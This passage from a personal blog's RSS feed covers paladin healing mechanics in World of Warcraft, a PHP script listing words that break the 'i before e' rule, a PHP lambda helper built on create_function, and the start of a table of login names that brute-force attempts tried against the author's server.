<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>21</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>21.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>24</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><strong>90000</strong></td>
</tr>
</tbody>
</table>
<p><br<br />
The above table is 12 seconds of FoL spam on a target with SS.  It uses an average FoL heal amount of 5,000 every 1.5s (yes, yes).  After 12 seconds, the HoT is <em>full</em> and provides 1,667 healing ever 0.5 seconds.  Which is pretty absurd <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Honestly I like our niche as tank healers, and I feel the changes in 3.2 will not do much for raid healing and with regen nerfs, our tank healing will suffer too, leaving us without a niche.</p>
<p>My preference would be to keep beacon as it is in 3.1 (for topping up OTs), take the regen nerfs and have a FoL (like above) that&#8217;s useful for Tank Healing.  We still wont be able raid heal, but we&#8217;ll have a rotation, have to worry about mana, and we&#8217;ll keep our niche.</p>
<p><strong>Edit</strong> GC has confirmed that it will <strong>not</strong> stack or roll in any way.  At the moment it can also be overwritten too, so FoL spam = no HoT ticks.</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I before E except after C&#8230;</title>
		<link>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/</link>
		<comments>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 00:35:06 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=160</guid>
		<description><![CDATA[I before E (yuccamuffin.com) &#60;?php &#160; &#160; $words = file&#40;'/usr/share/dict/words'&#41;; &#160; &#160; $words = array_map&#40;'trim', $words&#41;; &#160; &#160; &#160; &#160; // Ignore words with any punctuation &#160; &#160; $words = array_filter&#40;$words, 'ctype_alpha'&#41;; &#160; &#160; &#160; &#160; foreach&#40;$words as $word&#41; &#160; &#160; &#123; &#160; &#160; &#160; &#160; // ignore proper nouns (they start with an uppercase [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.yuccamuffin.com/78">I before E</a> (yuccamuffin.com)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$words</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/usr/share/dict/words'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$words</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_map</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'trim'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Ignore words with any punctuation</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$words</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_filter</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ctype_alpha'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$word</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// ignore proper nouns (they start with an uppercase letter)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">ctype_upper</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$word</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#[^c]ei#&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$word</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$word</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">absenteeism<br />
ageing<br />
ageings<br />
ageism<br />
agreeing<br />
albeit<br />
anteing<br />
apartheid<br />
atheism<br />
atheist<br />
atheistic<br />
atheists<br />
aweigh<br />
bantamweight<br />
bantamweights<br />
beige<br />
being<br />
beings<br />
bingeing<br />
birdieing<br />
blueing<br />
boogieing<br />
caffeine<br />
canoeist<br />
canoeists<br />
casein<br />
clueing<br />
codeine<br />
counterfeit<br />
counterfeited<br />
counterfeiter<br />
counterfeiters<br />
counterfeiting<br />
counterfeits<br />
counterweight<br />
counterweights<br />
cueing<br />
cuneiform<br />
decaffeinate<br />
decaffeinated<br />
decaffeinates<br />
decaffeinating<br />
decreeing<br />
deice<br />
deiced<br />
deicer<br />
deicers<br />
deices<br />
deicing<br />
deification<br />
deified<br />
deifies<br />
deify<br />
deifying<br />
deign<br />
deigned<br />
deigning<br />
deigns<br />
deism<br />
deities<br />
deity<br />
dieing<br />
disagreeing<br />
dyeing<br />
edelweiss<br />
emceeing<br />
facsimileing<br />
featherweight<br />
featherweights<br />
feign<br />
feigned<br />
feigning<br />
feigns<br />
feint<br />
feinted<br />
feinting<br />
feints<br />
feistier<br />
feistiest<br />
feisty<br />
filigreeing<br />
flambeing<br />
fleeing<br />
flyweight<br />
flyweights<br />
foreign<br />
foreigner<br />
foreigners<br />
foreseeing<br />
forfeit<br />
forfeited<br />
forfeiting<br />
forfeits<br />
forfeiture<br />
freeing<br />
freight<br />
freighted<br />
freighter<br />
freighters<br />
freighting<br />
freights<br />
fricasseeing<br />
garnisheeing<br />
geeing<br />
geisha<br />
geishas<br />
gesundheit<br />
glueing<br />
gneiss<br />
guaranteeing<br />
heavyweight<br />
heavyweights<br />
heifer<br />
heifers<br />
height<br />
heighten<br />
heightened<br />
heightening<br />
heightens<br />
heights<br />
heinous<br />
heinously<br />
heinousness<br />
heir<br />
heiress<br />
heiresses<br />
heirloom<br />
heirlooms<br />
heirs<br />
heist<br />
heisted<br />
heisting<br />
heists<br />
herein<br />
heterogeneity<br />
hieing<br />
hoeing<br />
homogeneity<br />
horseshoeing<br />
hundredweight<br />
hundredweights<br />
inveigh<br />
inveighed<br />
inveighing<br />
inveighs<br />
inveigle<br />
inveigled<br />
inveigles<br />
inveigling<br />
kaleidoscope<br />
kaleidoscopes<br />
kaleidoscopic<br />
kneeing<br />
lei<br />
leis<br />
leisure<br />
leisurely<br />
leitmotif<br />
leitmotifs<br />
lightweight<br />
lightweights<br />
middleweight<br />
middleweights<br />
monotheism<br />
monotheist<br />
monotheistic<br />
monotheists<br />
neigh<br />
neighbor<br />
neighbored<br />
neighborhood<br />
neighborhoods<br />
neighboring<br />
neighborliness<br />
neighborly<br />
neighbors<br />
neighed<br />
neighing<br />
neighs<br />
neither<br />
nonpareil<br />
nonpareils<br />
nuclei<br />
nucleic<br />
obeisance<br />
obeisances<br />
obeisant<br />
onomatopoeia<br />
onomatopoeic<br />
outweigh<br />
outweighed<br />
outweighing<br />
outweighs<br />
overseeing<br />
overweight<br />
pantheism<br />
pantheist<br />
pantheistic<br />
pantheists<br />
paperweight<br />
paperweights<br />
peeing<br />
pennyweight<br />
pennyweights<br />
pharmacopoeia<br />
pharmacopoeias<br />
pieing<br />
plebeian<br />
plebeians<br />
poltergeist<br />
poltergeists<br />
polytheism<br />
polytheist<br />
polytheistic<br />
polytheists<br />
protein<br />
proteins<br />
pureeing<br />
queueing<br />
refereeing<br />
reign<br />
reigned<br />
reigning<br />
reigns<br />
reimburse<br />
reimbursed<br />
reimbursement<br />
reimbursements<br />
reimburses<br />
reimbursing<br />
reimpose<br />
reimposed<br />
reimposes<br />
reimposing<br />
rein<br />
reincarnate<br />
reincarnated<br />
reincarnates<br />
reincarnating<br />
reincarnation<br />
reincarnations<br />
reindeer<br />
reindeers<br />
reined<br />
reinforce<br />
reinforced<br />
reinforcement<br />
reinforcements<br />
reinforces<br />
reinforcing<br />
reining<br />
reinitialize<br />
reinitialized<br />
reins<br />
reinsert<br />
reinserted<br />
reinserting<br />
reinserts<br />
reinstate<br />
reinstated<br />
reinstatement<br />
reinstates<br />
reinstating<br />
reinterpret<br />
reinterpretation<br />
reinterpretations<br />
reinterpreted<br />
reinterpreting<br />
reinterprets<br />
reinvent<br />
reinvented<br />
reinventing<br />
reinvents<br />
reinvest<br />
reinvested<br />
reinvesting<br />
reinvests<br />
reissue<br />
reissued<br />
reissues<br />
reissuing<br />
reiterate<br />
reiterated<br />
reiterates<br />
reiterating<br />
reiteration<br />
reiterations<br />
reparteeing<br />
reveille<br />
seeing<br />
seeings<br />
segueing<br />
seismic<br />
seismically<br />
seismograph<br />
seismographic<br />
seismographs<br />
seismologist<br />
seismologists<br />
seismology<br />
seize<br />
seized<br />
seizes<br />
seizing<br />
seizure<br />
seizures<br />
sheik<br />
sheikdom<br />
sheikdoms<br />
sheikh<br />
sheikhs<br />
sheiks<br />
shoeing<br />
sightseeing<br />
singeing<br />
skein<br />
skeined<br />
skeining<br />
skeins<br />
sleigh<br />
sleighed<br />
sleighing<br />
sleighs<br />
snowshoeing<br />
sortieing<br />
sovereign<br />
sovereigns<br />
sovereignty<br />
spontaneity<br />
spreeing<br />
squeegeeing<br />
stein<br />
steined<br />
steining<br />
steins<br />
stymieing<br />
surfeit<br />
surfeited<br />
surfeiting<br />
surfeits<br />
surveillance<br />
teeing<br />
theeing<br />
their<br />
theirs<br />
theism<br />
theist<br />
theistic<br />
theists<br />
therein<br />
throeing<br />
tieing<br />
tingeing<br />
tiptoeing<br />
toeing<br />
treeing<br />
trueing<br />
twingeing<br />
underweight<br />
unfeigned<br />
unseeing<br />
unveil<br />
unveiled<br />
unveiling<br />
unveils<br />
vagueing<br />
veil<br />
veiled<br />
veiling<br />
veils<br />
vein<br />
veined<br />
veining<br />
veins<br />
villein<br />
villeins<br />
vogueing<br />
weeing<br />
weigh<br />
weighed<br />
weighing<br />
weighs<br />
weight<br />
weighted<br />
weightier<br />
weightiest<br />
weightiness<br />
weighting<br />
weightless<br />
weightlessness<br />
weightlifter<br />
weightlifters<br />
weightlifting<br />
weights<br />
weighty<br />
weir<br />
weird<br />
weirded<br />
weirder<br />
weirdest<br />
weirding<br />
weirdly<br />
weirdness<br />
weirdo<br />
weirdos<br />
weirds<br />
weired<br />
weiring<br />
weirs<br />
welterweight<br />
welterweights<br />
wherein</div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>obsessed with anonymous functions</title>
		<link>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/</link>
		<comments>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 08:30:32 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=97</guid>
		<description><![CDATA[Any normal person would just live without anonymous functions in PHP, they are buggy and non trivial ones are pain to write and read. I&#8217;m not sure why I seam to obsess over them. At the very least, the below code will test unicode in your dev tools Edit: Of course after I wrote that [...]]]></description>
			<content:encoded><![CDATA[<p>Any normal person would just live without anonymous functions in PHP, they are buggy and non trivial ones are pain to write and read.  I&#8217;m not sure why I seam to obsess over them.</p>
<p>At the very least, the below code will test unicode in your dev tools <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Edit:</strong>  Of course after I wrote that I discovered that WordPress was ignoring the &lambda; character.  A little fix from <a href="http://hansengel.wordpress.com/2007/10/09/wordpress-unicode-and-s/">here</a> and everything is working again.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Create an 'anonymous' function without specifying arguments.</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Arguments are considered to be named $a to $z</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> λ<span style="color: #009900;">&#40;</span><span style="color: #000088;">$body</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$args</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#(\$[a-z])\b#'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$body</span><span style="color: #339933;">,</span> <span style="color: #000088;">$matches</span><span style="color: #339933;">,</span> PREG_SET_ORDER<span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$allArgs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$match</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$allArgs</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$match</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$allArgs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_unique</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$allArgs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">sort</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$allArgs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$args</span> <span style="color: #339933;">=</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allArgs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Make sure it's terminated (we don't care about extra trailing ';')</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$args</span><span style="color: #339933;">,</span> <span style="color: #000088;">$body</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">';'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Creating</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$multiply</span> <span style="color: #339933;">=</span> λ<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'return $a * $b'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;23 * 65 = &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$multiply</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">23</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">65</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Only $a to $z are reserved</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$bSquaredByA</span> <span style="color: #339933;">=</span> λ<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$unused = &quot;Hello&quot;; $b_square = $b * $b; return $b_square * $a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;8 * 6^2 = &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$bSquaredByA</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Embedding in strings</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$square</span> &nbsp; &nbsp; &nbsp;<span style="color: #339933;">=</span> λ<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'return $a * $a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$numbers</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">4</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$numbers</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$num</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$num</span> * <span style="color: #006699; font-weight: bold;">$num</span> = {<span style="color: #006699; font-weight: bold;">$square</span>(<span style="color: #006699; font-weight: bold;">$num</span>)}<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Note you don't have to use $a for your first argument, and $b for your second. &nbsp;They just</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Need to be in the right order</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$print_two_things</span> <span style="color: #339933;">=</span> λ<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'echo &quot;Second: &quot; . $y . &quot;\n&quot;; echo &quot;First: &quot; . $d . &quot;\n&quot;;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$print_two_things</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Hello&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;World!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Practical use</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$numbers</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">4</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">9</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$above_three</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_filter</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$numbers</span><span style="color: #339933;">,</span> λ<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'return $x &gt; 3;'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Numbers above three = &nbsp;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;, &quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$above_three</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> &nbsp; &nbsp;<br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>auth.log noise</title>
		<link>http://project-2501.net/index.php/2008/07/authlog-noise/</link>
		<comments>http://project-2501.net/index.php/2008/07/authlog-noise/#comments</comments>
		<pubDate>Mon, 07 Jul 2008 08:42:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=82</guid>
		<description><![CDATA[Below are the top 50 login names when trying to gain access to this web server over the last 4 weeks Name Attempts root 3273 admin 119 test 110 mysql 44 guest 41 user 37 oracle 37 temp 25 sales 24 info 21 webmaster 21 postgres 21 dan 18 robert 18 student 17 ftpuser 17 [...]]]></description>
			<content:encoded><![CDATA[<p>Below are the top 50 login names when trying to gain access to this web server over the last 4 weeks</p>
<table cellspacing="12" border="0" style="border: 1px solid gray;">
<tr>
<th>Name</th>
<th>Attempts</th>
</tr>
<tr>
<td>root</td>
<td>3273</td>
</tr>
<tr>
<td>admin</td>
<td>119</td>
</tr>
<tr>
<td>test</td>
<td>110</td>
</tr>
<tr>
<td>mysql</td>
<td>44</td>
</tr>
<tr>
<td>guest</td>
<td>41</td>
</tr>
<tr>
<td>user</td>
<td>37</td>
</tr>
<tr>
<td>oracle</td>
<td>37</td>
</tr>
<tr>
<td>temp</td>
<td>25</td>
</tr>
<tr>
<td>sales</td>
<td>24</td>
</tr>
<tr>
<td>info</td>
<td>21</td>
</tr>
<tr>
<td>webmaster</td>
<td>21</td>
</tr>
<tr>
<td>postgres</td>
<td>21</td>
</tr>
<tr>
<td>dan</td>
<td>18</td>
</tr>
<tr>
<td>robert</td>
<td>18</td>
</tr>
<tr>
<td>student</td>
<td>17</td>
</tr>
<tr>
<td>ftpuser</td>
<td>17</td>
</tr>
<tr>
<td>ftp</td>
<td>17</td>
</tr>
<tr>
<td>richard</td>
<td>16</td>
</tr>
<tr>
<td>apache</td>
<td>16</td>
</tr>
<tr>
<td>web</td>
<td>15</td>
</tr>
<tr>
<td>adm</td>
<td>15</td>
</tr>
<tr>
<td>webadmin</td>
<td>15</td>
</tr>
<tr>
<td>john</td>
<td>15</td>
</tr>
<tr>
<td>paul</td>
<td>15</td>
</tr>
<tr>
<td>office</td>
<td>15</td>
</tr>
<tr>
<td>tony</td>
<td>14</td>
</tr>
<tr>
<td>james</td>
<td>14</td>
</tr>
<tr>
<td>postfix</td>
<td>13</td>
</tr>
<tr>
<td>michael</td>
<td>13</td>
</tr>
<tr>
<td>alex</td>
<td>13</td>
</tr>
<tr>
<td>david</td>
<td>13</td>
</tr>
<tr>
<td>amanda</td>
<td>13</td>
</tr>
<tr>
<td>adam</td>
<td>12</td>
</tr>
<tr>
<td>mike</td>
<td>12</td>
</tr>
<tr>
<td>staff</td>
<td>12</td>
</tr>
<tr>
<td>steven</td>
<td>12</td>
</tr>
<tr>
<td>recruit</td>
<td>12</td>
</tr>
<tr>
<td>jeff</td>
<td>12</td>
</tr>
<tr>
<td>pgsql</td>
<td>12</td>
</tr>
<tr>
<td>library</td>
<td>12</td>
</tr>
<tr>
<td>username</td>
<td>12</td>
</tr>
<tr>
<td>frank</td>
<td>12</td>
</tr>
<tr>
<td>susan</td>
<td>11</td>
</tr>
<tr>
<td>cyrus</td>
<td>11</td>
</tr>
<tr>
<td>dave</td>
<td>11</td>
</tr>
<tr>
<td>gast</td>
<td>10</td>
</tr>
<tr>
<td>postmaster</td>
<td>10</td>
</tr>
<tr>
